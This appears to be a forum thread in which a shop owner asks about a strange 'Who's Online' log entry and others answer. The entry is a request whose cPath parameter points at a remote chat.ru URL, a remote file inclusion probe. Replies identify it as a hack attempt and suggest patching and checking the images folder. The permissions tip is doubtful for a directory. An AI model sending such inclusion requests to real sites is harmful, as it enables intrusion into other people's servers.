Where can I find more info

for things like this:

strange guests in the Who's Online section. Here's another one I just saw:

00:00:12 0 Guest 71.103.117.18 12:59:46 12:59:46 /shop/index.php?cPath=http://phtmllaudanskis.chat.ru/_html/image

I really don't understand what this is because they frequently say they are a "chat". I don't have any images on my website with the word "chat" in them so what are they looking at?

________Is this some place that is linking to images on the site? or what is it?

That is a hack attempt. I am not going to go into details of how it works, but make sure you have your code patched to the most current and make sure you periodically check your shop images directory for new files that you did not place there...

Uh oh... she has several mods in place on her site..

so, updating to the current one may be a challenge for me.
Thanks for your quick response though.

Easiest way to protect against this, at least temporarily is to lower permissions on the images directory to 644, at least temporarily until you can patch.
